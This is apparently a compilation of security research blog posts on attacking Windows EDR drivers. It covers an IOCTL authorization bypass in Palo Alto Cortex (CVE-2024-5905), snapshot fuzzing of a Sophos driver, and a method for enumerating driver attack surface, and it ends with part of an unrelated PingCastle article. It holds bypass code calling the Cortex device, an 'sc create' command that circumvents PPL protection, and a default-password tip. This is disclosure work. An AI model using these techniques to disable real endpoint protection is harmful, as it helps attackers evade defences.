0000009c`105fc800 00007ffb`52005611     KERNELBASE!DeviceIoControl+0x6b
0000009c`105fc870 00007ffb`3fbade9d     KERNEL32!DeviceIoControlImplementation+0x81
0000009c`105fc8c0 00007ffb`41e34900     cysvc!CySvcCommandLineHandler+0x10fe3d
0000009c`105fc8c8 00000000`00000000     cysvc!CySvcCommandLineHandler+0x23968a0

WinDBG Tracing IOCTLs in tedrdrv.sys

This revealed that cyserver.exe calls 0x2260D0 from cysvc.dll, using a buffer length of 0x114.

We debugged with WinDBG synced to IDA Pro with ret-sync to see what is happening. The IOCTL 0x2260D0 sets the ProcessID which is shown in the dispatch function above. Afterwards IOCTLs which compare this ProcessID can be called from the same process.

In the following screenshot, the red box hightlights calls made before Cyserver (the user-mode component from Cortex) was stopped and the green box shows calls afterwards. This shows that the ProcessId was successfully set to the one of IOCTLplus (see code below which checks the ProcessId for the IOCTL 0x2260DC).

Setting the ProcessID used in the dispatch function to the one of IOCTLplus after disabling Cyserver

case 0x2260DCu:
       if ( (HANDLE)IoGetRequestorProcessId(a2) != ProcessId )
         goto LABEL_34;
       if ( InputBufferLength < 0x6E )
         goto LABEL_99;
       v6 = IO_handle_2260DC_sub_122F20((__int64)IRP_SystemBuffer);
       goto LABEL_171;

tedrdrv.sys IOCTL 0x2260DC

To confirm this behavior during Windows startup, we compiled a small C++ project that opens the device and invokes this function. This program was initiated as a scheduled task.

hDevice = CreateFile(L"\\\\.\\PaloEdrControlDevice",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);
[...]
bResult = DeviceIoControl(hDevice,
        0x2260D0,
        buf, 0x114,                       // no input buffer
        buf2, 0x114,                      // output buffer
        &junk,                            // # bytes returned
        (LPOVERLAPPED)NULL);

Code to open the device and call an IOCTL

This test was successful and the debugger showed that Cyserver itself got Access Denied errors for some IOCTLs because the ProcessId of the program above was initialized and not the one from Cyserver.

This suggests that a form of authorization bypass was achieved, concurrently blocking some Cortex functionalities. However, the implications remained unclear, as we could not determine if any harmful actions could be executed using the accessible IOCTLs. Furthermore, only specific IOCTLs could be bypassed. Others incorporate additional security checks in a separate driver, cyvrlpc.sys, utilized by multiple drivers. Cyvrlpc.sys exports shared functionalities; for example, cyvrlpc_35 (exported ordinal) implements supplementary security checks that cannot be circumvented using the aforementioned method.

This authorization bypass was reported to PaloAlto on September 12, 2023. A fix was published on June 12, 2024 as CVE-2024-5905.

After plenty of debugging and reverse engineering, we noticed that Cyvrlpc manages an (AVL) table with all processes. It registers the function PsSetCreateProcessNotifyRoutineEx and inserts each process in this table. Each entry has certain flags which indicate the permissions of the process for the drivers. All processes from Cortex itself have a certain bit set which no other process has set. This bit is checked in some cyvrlpc.sys functions. The flags are set in diferent functions and the whole process is rather complex. They are also influenced by another driver cyvrmtgn.sys which has an IOCTL for authentication purposes.

The AVL Table struct from IDA

0: kd>  !rtlavl cyvrlpc+5ECC0
NodeCounter - Node             (Parent,Left,Right)
   00000000 - ffff970f859cc410
(ffff970f859cc4d0,0000000000000000,0000000000000000)
   00000001 - ffff970f859cc4d0
(ffff970f85c70d50,ffff970f859cc410,ffff970f87cc1010)
   00000002 - ffff970f85ae32d0
(ffff970f87cc1010,0000000000000000,0000000000000000)
   [...]

Part of the AVL Table in WinDBG

We did not exactly reverse how each flag is set for each process. However, the one bit which is set for cyserver.exe and other Cortex processes is only set if the SID of the token from the calling process is "S-1-5-18" (SYSTEM) and at the same time the file path matches to one from Cortex such as:

\Device\HarddiskVolume4\Program Files\Palo Alto Networks\Traps\cyserver.exe

Checking the SID from the calling process in cyvrlpc.sys

Checking the file path of the calling process

At this point we stopped further looking into this and moved on. It would be interesting if the file path checking could be bypassed.

2.2 \\.\PANWEdrPersistentDevice11343

There is one dispatch function for all Major Function codes. This function is pretty small and does not seem to have any interesting functionality.

2.3 \\.\CyvrMit

The dispatch function which handles the Major Function code 0xe (Device IO Control) handles more than 35 different IOCTLs.

Device IO Control Dispatch Function of \\.\CyvrMit

The green boxes refer to some kind of access control flags which are set in the DISPATCH_CREATE (analogue to IRP_MJ_CREATE) function of this interface. This function is called when a handle to this driver interface is obtained. Additionally, the flags are set by an IOCTL which is used for authentication purposes (CyAuthenticate).

There is a significant advantage in analyzing this driver interface compared to the one above. The main binary that calls this interface is cyapi.dll, which is used by cyserver.exe among others. The exported function names of cyapi.dll are not stripped and most of them directly call an IOCTL of \\.\CyvrMit.

CyAuthenticate function of cyapi.dll

This is very helpful, as IOCTLs can be mapped to meaningful names. At the same time, other important arguments such as the input/output buffers and their length can be looked up. The following table shows some mapped functions that look interesting:

IOCTL	Function Name
0x226020	CyAuthenticate
0x226000	CyEnableMitigationFeature
0x2220E8	CyStopService
0x2260C4	CyQueryServerPassword
0x2220E4	CySetServicePpl
0x222100	CyCrashService
0x22603C	CySnapshotProcesses

Regarding the access to those IOCTLs, it is similar compared to \\.\PaloEdrControlDevice. Some functions can be called from an arbitrary low privileged user process and some respond with access denied. The authorization model is similar and also relies at least for some part on cyvrlpc.sys. We did not manage to fully understand all aspects of this.

To observe the sequence of IOCTL calls, we traced all invocations by setting breakpoints at the start and end of the dispatch function. This setup allowed us to log the caller, the input/output buffer lengths, and the contents of these buffers:

3: kd> bp cyvrmtgn+5920 ".echo ##############NEW; !thread @$thread 1f; r
$t1=rdx; r $t1; !irp $t1 detail; .echo In-Buffer:; dps poi($t1+18); db
poi($t1+18);g;"

3: kd> bp cyvrmtgn+5c70 ".echo ##############END; !irp $t1 detail; .echo
Out-Buffer:; dps poi($t1+18); db poi($t1+18);g;"

WinDBG command to trace IOCTLs in dispatch function

The following is an extract of the output which shows a call to 0x226020 (CyAuthenticate) with the input 0x800. Generally, the first call is always to CyAuthenticate with a different input buffer depending on the required access.

##############NEW
Args: 00000000 00000010 226020 00000000
--
In-Buffer:
ffffb583`d9c37e00  00 00 00 00 00 00 00 00-00 08 00 00 00 00 00 00

##############END
Out-Buffer:
ffffb583`d9c37e00  00 00 00 00 00 00 00 00-00 08 00 00 00 00 00 00

The question arises: how does the driver determine which input parameters are accepted for which calling process?

We started to test this with the cytool which calls some of the IOCTLs for example when stopping the services. However, this requires a password which is set globally for the tenant to perform modifications.

[!TIP] Try the default password 'Password1' and you might be lucky

CyTool

Cytool also calls 0x226020 after entering the password. Now the Input-Buffer looks different:

Args: 00000000 00000010 0x226020 00000000
In-Buffer:
ffff970f`8ae4bec0  00000046`7df6fae0
ffff970f`8ae4bec8  00007ff6`0001ffff

3: kd> db 00000046`7df6fae0
00000046`7df6fae0  50 00 61 00 73 00 73 00-77 00 6f 00 72 00 64 00
P.a.s.s.w.o.r.d.
00000046`7df6faf0  31 00 00 00 5c 01 00 00-d8 28 b2 51 5c 01 00 00
1...\....(.Q\...

The first 8 bytes are always 0x0 if cyserver calls 0x226020. However, if called by the cytool a pointer to the password is sent. This means that there are two different ways how the authentication is handled.

This shows the password check inside cyvrmtng.sys

We wanted to know how the password hash is obtained against which the supervisor password is compared. Maybe it is retrieved from a place where it could be manipulated. There is also the function CyQueryServerPassword (0x2260C4). We ended up at some ALPC-communication over which the hash was sent. We've never touched ALPC before and therefore decided to have a look at it. Is it possible to spoof a communication partner to retrieve secret data or to send fake data? See Part 3.

3. Sophos Intercept X

The analysis described in Part 1 showed that there are multiple open interfaces:

SophosED.sys
- Device Driver interfaces
  - \\.\SophosEndpointDefenseScan
  - \\.\SophosEndpointDefensePseudoFSScan
- FilterConnectionPorts

The device driver interfaces only had very little attack surface which was checked manually. The vast majority of the functionality is implemented in the FilterConnectionPorts.

For example \SophosEndpointDefenseSyncCommPort has several different functions. However, they are not that easy to test because most of them require several input parameters which need to be filled with valid data. As time was limited we chose to perform snapshot fuzzing against this interface rather than reverse engineering the code handling the I/O. There is a large call graph from these functions which in turn could be interesting to find common memory corruption bugs.

Xrefs graph from MessageCallback function

A tip which helps during the debugging of the main driver (SophosED.sys) is to change the global logging-level with a kernel debugger. The flag can easily be identified in all the debug messages. By default it is set to "2". If the value is changed to "1" debug messages are printed:

Log-Level in SophosED.sys

Changing the Log-Level in SophosED.sys with WinDbg

The following screenshot shows the MessageCallback function of the FilterConnectionPort SophosEndpointDefenseSyncCommPort:

MessageCallback function of \SophosEndpointDefenseSyncCommPort

Each of the functions called "subfunc*" again differentiates between multiple cases what results in the Xrefs graph shown above.

We used WTF as a fuzzer because we've already been familiar with this and it fits perfectly to this case. It is pretty fast to set up compared to traditional harnessing or kernel fuzzing. ::github{repo="0vercl0k/wtf"}

The high-level procedure is as following:

Use a HyperV-VM connected to a WinDbg Kernel-Debugger (Other VMs have problems for this setup)
Make a breakpoint at the target function where the fuzzing should start (Entry of the function in the screenshots above)
Dump the VM state (memory & registers) with bdump
Write a fuzzing harness which replaces the input buffer (a2_InputBuffer) and length (a3_InputBufferLength) of the MessageCallback function in the harness function InsertTestcase() (template). The inserted data must not be larger than the allocated memory of these buffers. Optionally, if the input has a specific format, a custom mutator could be implemented.
Record valid input buffers from the running EDR with breakpoints in the kernel debugger and save them to a file. These can be used as input corpus (seeds) to start the mutations.
Run fuzzer
Check, Debug & Improve Fuzzing
- Check the coverage with IDA Lighthouse to verify if it is working as expected
- Make debug prints in the fuzzing harness by hooking functions with WTF. For example print function arguments.
- Use Tenet to debug certain executions (e.g. to understand a potential crash) WTF-Tenet
- Virtualize function accessing hardware such as file system access

The snapshot was created with and without driver-verifier enabled. The following output shows a short run with a small input-length. In general it works and the coverage increases quite good. Also the speed for one Fuzzing-node (one Laptop-core) of almost 1000 exec/s on bochscpu is rather fast but shows that most executions are short and potentially exit early because of invalid input formats.

..\\..\\src\\build\\RelWithDebInfo\\wtf.exe  master --runs 10000000 --name Sophos --max_len 0x30 --target . --inputs seeds
Seeded with 15016965039757084568
Iterating through the corpus..
Sorting through the 8 entries..
Running server on tcp://localhost:31337..
#0 cov: 0 (+0) corp: 0 (0.0b) exec/s: -nan (1 nodes) lastcov: 3.0s crash: 0 timeout: 0 cr3: 0 uptime: 3.0s
Saving output in .\\outputs\\7167f2dd9d964a3529d55617a73cee2a
Saving output in .\\outputs\\7a0ca97cddb79ec90ece2337d24edc5d
Saving output in .\\outputs\\crash-a271e8d13ac935afad342fa2146ffb70
Saving crash in .\\crashes\\crash-0xa-0x1e8ae6ee000-0xf-0x0-0xfffff80726a26cd9-0x0
Saving output in .\\outputs\\f93b14ce14eafe14c69eff38e546ae33
Saving output in .\\outputs\\crash-c40e54e406c3f2fa11033b815ff06c79
Saving crash in .\\crashes\\crash-0xa-0xffffb402d54c4410-0xf-0x1-0xfffff80726624d95-0x0
Saving crash in .\\crashes\\crash-0xa-0xffffb402d5be7a10-0xf-0x1-0xfffff80726624d95-0x0
[...]
#9013 cov: 14138 (+14138) corp: 61 (2.8kb) exec/s: 901.3 (1 nodes) lastcov: 1.0s crash: 641 timeout: 0 cr3: 0 uptime: 13.0s
[...]
#27735 cov: 15698 (+587) corp: 88 (4.0kb) exec/s: 924.5 (1 nodes) lastcov: 0.0s crash: 1508 timeout: 0 cr3: 0 uptime: 33.0s
[...]
#80583 cov: 17368 (+109) corp: 124 (5.7kb) exec/s: 1.0k (1 nodes) lastcov: 0.0s crash: 3895 timeout: 0 cr3: 0 uptime: 1.4min
[...]
#113654 cov: 17709 (+12) corp: 132 (6.1kb) exec/s: 1.0k (1 nodes) lastcov: 7.0s crash: 5284 timeout: 0 cr3: 0 uptime: 1.9min

WTF Master output

The coverage loaded in IDA with Lighthouse showed that at least all major functions were triggered from the fuzzer. Green means that the path was executed in the fuzzing process: Fuzzing Coverage loaded in IDA Lighthouse

What is going on?

Crashes in seconds looks too good to be true. The fuzzer catched bugs by setting a breakpoint to nt!KeBugCheckEx:

if (!g_Backend->SetBreakpoint("nt!KeBugCheck2", [](Backend_t *Backend) {
      const uint64_t BCode = Backend->GetArg(0);
      const uint64_t B0 = Backend->GetArg(1);
      const uint64_t B1 = Backend->GetArg(2);
      const uint64_t B2 = Backend->GetArg(3);
      const uint64_t B3 = Backend->GetArg(4);
      const uint64_t B4 = Backend->GetArg(5);
      const std::string Filename =
          fmt::format("crash-{:#x}-{:#x}-{:#x}-{:#x}-{:#x}-{:#x}", BCode, B0,
                      B1, B2, B3, B4);
      DebugPrint("KeBugCheck2: {}\n\n", Filename);
      Backend->Stop(Crash_t(Filename));
    }))

Some of the bugs were:

0xc4: "The DRIVER_VERIFIER_DETECTED_VIOLATION bug check has a value of 0x000000C4. This is the general bug check code for fatal errors found by Driver Verifier."
0xa: "The IRQL_NOT_LESS_OR_EQUAL bug check has a value of 0x0000000A. This bug check indicates that Microsoft Windows or a kernel-mode driver accessed paged memory at an invalid address while at a raised interrupt request level (IRQL). The cause is typically a bad pointer or a pageability problem."

All these bugs could not be reproduced in a live system. Looking at Tenet-Traces showed that some of the crashes happened in a call to ExAllocatePoolWithTag which indicates a false positive and consequently a problem in the virtualized system. Debugging issues like this is an important part when using snapshot fuzzing and additionally without emulated hardware like in WTF (e.g. paged out memory). KAFL in contrast has full hardware access.

The setup that helped to understand the cause was to compare the code flow of the same input in a live system with a kernel debugger synced to IDA with a Tenet-Trace from the fuzzer.

With a Tenet-trace loaded in IDA you have similar functions compared to time-travel debugging. You can scroll through the code flow and look at register values and memory content. There are several other helpful functions which are shown on the tenet-repo.

WTF Tenet-Trace loaded in IDA

Additionally, ret-sync can be used to sync WinDBG to IDA what allows to easily compare the snapshot execution to the live system.

At the end, the problem was related to the IRQL-value stored in the snapshot of bdump (step 3 in the overview):

kd> r cr8
cr8=000000000000000f
kd> !irql
Debugger saved IRQL for processor 0x0 -- 0 (LOW_LEVEL)

WinDBG in kernel breakpoint before the snapshot was taken

The CPU register CR8 stores the current IRQL-value. However, if the system is interrupted with WinDBG kernel breakpoint, the CR8 register is changed to 0xf. The current IRQL as shown above, however, would be 0x0. Therefore, the snapshot stores CR8 value of the interrupted state instead of the actual IRQL-value. After fixing this value in the snapshot, the false positive crashes disappeared.

The fuzzer was running for some days but did not identify any exploitable bug. The main issue of this fuzzing setup was that some functions expected memory pointers on certain positions in the input data. We did not use any structure aware mutation and consequently most of the input could not be parsed and the function exited early. The is no uniform structure and it would have been too time consuming to reverse it for different functions. Additionally, the data where the memory-pointers point at would have to be filled with mutated data or potentially pointers again. We used breakpoints in the fuzzing harness, to get an idea of memory access:

    if (!g_Backend->SetBreakpoint("nt!ProbeForRead", [](Backend_t *Backend) {              
        DebugPrint("nt!ProbeForRead at {:x} with length {:x}", g_Backend->Rcx(), g_Backend->Rdx());

A breakpoint in WTF to get debug info for memory access during the fuzzing

We did not follow this further, but it could be potentially automated by catching nt!ProbeForWrite and nt!ProbeForRead in order to provide feedback to the fuzzer that these values should be valid pointers. All in all, improving the fuzzer and the harness would have been too time consuming and a code analysis is potentially more efficient.

4. Other Vulnerabilities

During the research, some other vulnerabilities have been identified. The following is a short summary of them:

Early Startup of Malware

Malware can be started before the user-mode component of the EDR is fully started. This was tested with Cortex and it was possible to execute Mimikatz with lsadump::sam without being blocked. This was reported in combination with the ALPC vulnerability. The vendor did not respond to this issue. Other EDRs are potentially affected, too.

Launching CyServer (PaloAlto Cortex) without PPL

If a new (second) service which launches Cyserver is created, the original service (which has startup dependencies) does no longer start. The new service configuration is not protected by the Cortex drivers and therefore the configuration can be adjusted. If name begins with "cyserver*" it is blocked.

sc create "fake_cyserver" binPath="C:\Program Files\Palo Alto Networks\Traps\cyserver.exe" start=auto

Cortex itself thinks that cyserver is stopped because the own service is stopped. However, the EDR still works. The cyserver.exe still has some self-protections in place but the attack surface is a larger compared to a PPL process.

This bypass was reported to PaloAlto on 12.09.2023. PaloAlto did not provide further information on this. It is unknown if a fix is implemented or planned.

This post continues with Part 3 which describes the ALPC DoS vulnerability and some final notes.

Attacking EDRs Part 1: Intro & Security Analysis of EDR Drivers

Manuel Feifel — Mon, 10 Feb 2025 00:00:00 GMT

This blog post is part of a series analyzing attack surface for Endpoint Detection and Response (EDR) solutions. Parts 1-3 are linked, with concluding notes for that initial sub-series in Part 3.

Part 1 (this article) gives an overview of the attack surface of EDR software and describes the process for analysing drivers from the perspective of a low-privileged user.
Part 2 describes the results of the EDR driver security analysis. A minor authentication issue in the Windows driver of the Cortex XDR agent was identified (CVE-2024-5905). Additionally a PPL-"bypass" as well as a detection bypass by early startup. Furthermore, snapshot fuzzing was applied to a Mini-Filter Communication Port of the Sophos Intercept X Windows Mini-Filter driver.
Part 3 describes a DoS vulnerability affecting most Windows EDR agents. This vulnerability allows a low-privileged user to crash/stop the agent permanently by exploiting an issue in how the agent handles preexisting objects in the Object Manager's namespace. Only some vendors assigned a CVE (CVE-2023-3280, CVE-2024-5909, CVE-2024-20671).
Part 4 describes the fuzzing process of Microsoft Defender's scanning and emulation engine mpengine.dll. Multiple out-of-bounds read and null dereference bugs were identified by using Snapshot Fuzzing with WTF and kAFL/NYX. These bugs can be used to crash the main Defender process as soon as the file is scanned. None of the bugs appear to be exploitable for code execution.

1. Introduction

In today's organizations, Endpoint Detection and Response (EDR) solutions have become an essential part of the cybersecurity landscape. Despite their prevalence, there remains a notable lack of published research focusing on attacks against EDR applications themselves, even though they present compelling targets for privilege escalation, corporate network compromise, or drive-by attacks. This could have several reasons: limited security research in this specific area, unpublished research held back for red-teaming advantages, or a lack of fruitful findings. Futhermore, there are only a few vendors which have a Bug Bounty program and if they have one, the Windows agents are not in scope (except Kaspersky).
In recent years, most security research about EDRs focused on techniques to bypass the security measures such as DLL unhooking. Recognizing this gap, a research project of IG Labs aimed to analyze the attack surface of drivers for widely-used EDRs on Windows. However, after starting the work and before publication of this post, some research into directly attacking EDRs has emerged (1, 2, 3, 4, 5, ...).

Due to the extensive attack surface of EDRs, we decided to limit the scope of our investigation to driver-interfaces accessible by a low privileged user as an entry point.
EDRs typically incorporate self-protection mechanisms that prevent even local administrators from disabling or uninstalling the product. However, the transition from local administrator to SYSTEM to kernel in Windows, while restricted by security features, does not represent an absolute security boundary. Known methods exist to deactivate or bypass EDRs, including bring-your-own-vulnerable-driver (BYOVD) attacks, Windows Defender Application Control (WDAC), WPF filtering, and other techniques. Consequently, this research focused on low-privileged users, even though attacks from a local administrator can also be valuable.

Additionally, the focus is directed towards the most used EDRs in the market.
However, obtaining access to these EDR solutions for research purposes is challenging. Only a very limited number of vendors offer trial products without prior vetting, further narrowing the range of EDRs that can be analyzed.

Typical "trial" (which you will never get without having the right business)

Although several EDR drivers permit low-privileged users to access certain functions, it was not possible to detect any serious security issues. Nevertheless, the blog post describes the analysis process including research paths that yielded no findings to help other security researchers. However, after some time a path led to the ALPC communication in PaloAlto Cortex which was not the initial focus. This revealed a DoS vulnerability that is described in Part 3.

The following products were initially examined for the driver analysis:

Palo Alto Cortex XDR
Sophos Intercept X
Microsoft Defender for Endpoint
Cynet 360
Tanium (not really an EDR but the functionality and architecture is similar)

1.1 Attack Surface of EDR solutions

EDR solutions have a comparably large attack surface for applications. These solutions typically consist of multiple components on the agents themselves and cloud services, while some vendors also offer on-premise servers. EDRs are designed to detect and respond to threats at the endpoint level, but they also inherently create a new attack surface that can be exploited by malicious actors. The agents are a complex part and consequently more prone to vulnerabilities. The frontend of the servers-side part, in contrast has a smaller and usually more explored attack surface (at least the part which is directly accessible by a user such as the web interfaces). Even backend web APIs have basic flaws such as missing authentication as shown here. Some products also use a custom protocol for the agent-to-cloud communication which could be interesting, too. Furthermore, certain products also implement P2P-communication among the agents (e.g. Tanium) which are interesting from an attacker point of perspective.

These blog posts focuses solely on the agent side.

Agents typically consist of user-space and kernel-space (driver) components:

Filter Driver
Network Drivers
Software Driver
Userland Applications

These components primarily communicate with each other using the following protocols and methods:

Kernel-to-Kernel:
- Exported functions
- IOCTLs
User-to-Kernel:
- IOCTLs
- FilterConnectionPorts
  - specifically used by minifilter drivers
  - uses IOCTLs under the hood as well
- ALPC
User-to-User
- ALPC
- Named Pipes
- Files
- Registry
- more...

The following list outlines potential vulnerabilities within these components and their communication. Note that this list is not exhaustive and excludes all server-side attack surface:

Memory corruptions in file scanning & emulation (In-the-wild 0day CVE-2021-1647)
Deletion of arbitrary files (SymLink-Vulns)
- Plenty of vulnerabilities in the past: Deleting files "wiper" (50% of tested EDRs vulnerable)
User-Mode IPC (Interprocess communications): Authorization issues or memory corruptions
User-to-driver: Authorization issues
Classic driver vulnerabilities:
Server-to-Agent
- Missing authentication of server
- Parsing bugs in server responses
Classic Windows Application Vulnerabilities (DLL Hijacking, File permissions, ...)
Emulation/Sandbox Escapes
Other Logic Bugs

This article focuses on user-to-driver authorization issues and, to some extent, classic driver vulnerabilities. Part 3 addresses user-mode IPC.

Impact

The main impact of potential vulnerabilities on the client side is Local Privilege Escalation or hiding the execution of malicious software. Another possibility is spoofing data about the agent sent to the backend. Some vulnerabilities, such as in the scanning engine could also lead to Remote Code Execution. Additionally, a compromised agent also leads to a larger attack surface for the backend, as the attacker can abuse the authenticated session of the agent.
In case of P2P-based communication, serious design flaws could lead to the compromise of other agents.

2. Driver Attack Surface for Low-Priviledged Users

This section provides a basic overview of how to conduct a security analysis of EDR drivers. It primarily focuses on identifying exposed driver functionalities that could constitute an attack surface for low-privileged users. It does not delve into the specifics of driver-related vulnerabilities or their exploitation.

For a testing environment we recommend using a virtual machine with a WinDBG Kernel Debugger attached. The easiest way to set it up is KDNET (see the following documentation).

2.1 Which drivers are loaded?

One method for viewing loaded drivers is using DriverView which is further aided by the fact that there is a feature to filter drivers from Microsoft.

DriverView with Cortex installed

2.2 What interface does each driver expose to user-land?

There are two approaches to check this: static analysis and dynamic analysis. We suggest to use both methods in combination to catch all cases. For example, an EDR driver may only initialize one device object during startup but might be creating more device objects during the course of the EDRs execution.

Windows Driver Model (WDM) or Kernel-Mode Driver Framework (KMDF) drivers can expose a device interface. This interface can be opened from user space to interact with the driver.

Mini-Filter Drivers can expose a FilterCommunicationPort which can be used from user-mode to interact with the driver.

2.2.1 Static Analysis

To establish a communication interface, a driver must invoke specific Windows APIs. These calls can be statically analyzed using reverse engineering software such as IDA. The following functions, as specified in Microsoft's documentation, are commonly used:

WDM Device Driver:

NTSTATUS IoCreateDevice(
  [in]           PDRIVER_OBJECT  DriverObject,
  [in]           ULONG           DeviceExtensionSize,
  [in, optional] PUNICODE_STRING DeviceName,
  [in]           DEVICE_TYPE     DeviceType,
  [in]           ULONG           DeviceCharacteristics,
  [in]           BOOLEAN         Exclusive,
  [out]          PDEVICE_OBJECT  *DeviceObject
);

Alternatively, IoCreateDeviceSecure can be used which applies a default SDDL String.

KMDF Device Driver:

NTSTATUS WdfDeviceCreateDeviceInterface(
  [in]           WDFDEVICE        Device,
  [in]           const GUID       *InterfaceClassGUID,
  [in, optional] PCUNICODE_STRING ReferenceString
);

Mini-Filter Driver:

NTSTATUS FLTAPI FltCreateCommunicationPort(
  [in]           PFLT_FILTER            Filter,
  [out]          PFLT_PORT              *ServerPort,
  [in]           POBJECT_ATTRIBUTES     ObjectAttributes,
  [in, optional] PVOID                  ServerPortCookie,
  [in]           PFLT_CONNECT_NOTIFY    ConnectNotifyCallback,
  [in]           PFLT_DISCONNECT_NOTIFY DisconnectNotifyCallback,
  [in, optional] PFLT_MESSAGE_NOTIFY    MessageNotifyCallback,
  [in]           LONG                   MaxConnections
);

2.2.2 Dynamic Analysis

Registered devices and port names can be identified using WinObj from Sysinternals (although the names are not always obvious) or by setting breakpoints in a kernel debugger.

Device Driver: They are listed in WinObj under "GLOBAL??" as Symbolic Link pointing towards the device object. This makes the device available through \\.\NAME when trying to interact with the driver from another application. Another option is to use the discontinued tool DeviceTree from OSR which shows the devices in a hierachy for each driver and addtional information.

WinObj with Cortex Devices

DeviceTree with Cortex Devices

Mini-Filter Driver: They are listed in WinObj named "FilterConnectionPort"

FilterConnectionPorts in WinObj (Cortex)

2.3 What are the access permissions of each interface?

This step is more easily accomplished dynamically.

Device Driver: To our knowledge there is no modern tool to view the correct access permissions of a device interface. Try to get a copy of OSR DeviceTree which directly shows the ACLs and other flags. An alternative is to use a Kernel Debugger.

Mini-Filter Driver: One way to test if a certain user can access a FilterConnectionPort is to use the NtObjectManager tooling from James Forshaw.

Get-FilterConnectionPort -Path "\CyvrFsfd"
Exception: "(0x80070005) - Access is denied."

To retrieve the security descriptor, use WinDbg as a kernel debugger:

0: kd> !object \CyvrFsfd
Object: ffffc2861e32f550  Type: (ffffc2861bc7b220) FilterConnectionPort
    ObjectHeader: ffffc2861e32f520 (new version)
    HandleCount: 1  PointerCount: 6
    Directory Object: ffffd9099503e9f0  Name: CyvrFsfd
0: kd> dx (((nt!_OBJECT_HEADER*)0xffffc2861e32f520)->SecurityDescriptor & ~0xa)
(((nt!_OBJECT_HEADER*)0xffffc2861e32f520)->SecurityDescriptor & ~0xa) :
0xffffd909950257a0
0: kd> !sd 0xffffd909950257a0 1
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8004
            SE_DACL_PRESENT
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544 (Alias: BUILTIN\Administrators)
->Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x1c
->Dacl    : ->AceCount   : 0x1
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x001f0001
->Dacl    : ->Ace[0]: ->SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)

->Sacl    :  is NULL

This port only allows access from NT AUTHORITY\SYSTEM.

2.4 What can you do if an interface is accessible?

First of all, if the Windows ACLs allow access to the device interface or FilterConnectionPort, that doesn't mean that you can actually access all the functionality offered by these interfaces. The driver itself can perform any arbitrary access checks such as verifying the security token of the calling process or checking the file path of the process.

This topic usually requires to reverse engineer a driver's interesting functions and figuring out what they do in the absence of function names in the driver. In the following segment, we give some advice on how to start.

2.4.1 Device Driver

The most relevant method for interacting with these devices is Device Input/Output Control (IOCTL) using major function code 0xe (14) which allows for communication between 2 partners while offering a channel for (bi)directional data exchange. While read (IRP_MJ_READ) and write (IRP_MJ_WRITE) operations could also be relevant, the primary functionality in this context resides within IRP_MJ_DEVICE_CONTROL.

These dispatch functions can be triggered from user-mode with the following functions:

CreateFile() => IRP_MJ_CREATE_
ReadFile() => IRP_MJ_READ
DeviceIoControl() => IRP_MJ_CONTROL

Source: Enrique Nissim, IOActive

The next step involves reverse engineering to analyze the functionality of these dispatch functions. The functionality is located in DRIVER_DISPATCH callback functions which are registered during the initialization of the driver. The following screenshot from IDA shows the tedrdrv.sys driver from Cortex. In this example the callback functions are the same for most of the functions.

Driver Dispatch Functions in Cortex

The function sub_1233A0 differentiates between MajorFunction codes. If 0xe (DEVICE_CONTROL) is called the real IO Control Dispatch function is called which looks like the following:

Device IO Control Dispatch Function in Cortex

The different cases correspond to I/O control codes (IOCTLs). This section of the code reveals an interesting aspect: the process ID of the caller is retrieved and then either compared or passed to other functions. This suggests an authorization mechanism needs to be further analyzed. This is part of the next chapter.

2.4.2 FilterConnectionPorts:

Filter connection ports are similar to I/O control codes. During the registration of a filter connection port, callback functions can be specified in the FltCreateCommunicationPort function to handle connection, disconnection, and messages.

FltCreateCommunicationPort() in cyvrfsfd.sys from Cortex

The MessageNotifyCallback implements different cases similar to the IO Control Dispatch function above.

2.5 Why are some of the EDR driver interfaces accessible for low privileged users at all?

Verifying the access control lists (ACLs) of driver interfaces is a fundamental check in penetration testing, one that, ideally, all vendors should conduct at some stage. It is very likely that, in some instances, ACLs are intentionally set to be broadly accessible. Windows APIs typically offer functionalities to restrict privilege levels for specific device objects. One such example is using IoCreateDeviceSecure with an explicit security identifier as an argument, or alternatively using IoCreateDevice and specifying the security identifier within the INF file.

Why, then, are these ACLs not more restrictive? During kernel debugging of the driver, we observed that IOCTLs are invoked from various user-space processes. EDRs often employ an architecture where an injected DLL from the EDR agent communicates directly with the driver via IOCTLs on behalf of the injected process. Because these injected processes are frequently low-privileged (e.g., word.exe), the driver cannot enforce security restrictions based solely on the process's privilege level. We've never implemented an EDR and we don't have enough details to judge this, but we don't think that this is the most secure approach. Indeed, several EDR solutions do not adopt this practice.

Following the process described in the previous sections, there are candidates with open ACLs for the driver interfaces:

PaloAlto Cortex XDR
Sophos Intercept X

The results are described in Part 2

Tear Down The Castle - Part 2

Stephan Berger — Thu, 23 Jan 2025 09:04:20 GMT

:::note This article was first published on dfir.ch :::

This is the second part of a two-part series about Active Directory security. Read the first part here.

To gain insight into common issues and patterns of misconfiguration, we analyzed 250 PingCastle reports collected from Incident Response cases and Compromise Assessments. We indicate how many of the 250 domains checked were affected by the finding (Affected Domains: N/250).

PingCastle is a popular tool for auditing the security of Active Directory environments, pinpointing vulnerabilities, and offering actionable recommendations for improvement. We are following along The Ten AD Commandments, mapping every point to the corresponding PingCastle finding(s).

6. Privileges

6.1 - Introduction

PingCastle lists, among many other things, the privileges assigned to domain users via GPOs. Figure 1 shows that the Default Notebook Policy grants Domain Users the SeLoadDriverPrivilege privilege.

Figure 1: SeLoadDriverPrivilege

Why is this bad? As @0xdf put it: If I can load a driver, I can load a vulnerable driver and then exploit it. [1] I am aware that some Endpoint Detection and Response (EDR) solutions generate alerts when a vulnerable driver is loaded or written to disk, as such drivers can be exploited for Local Privilege Escalation (LPE).

Figure 2: If I can load a driver, I can load a vulnerable driver and then exploit it.

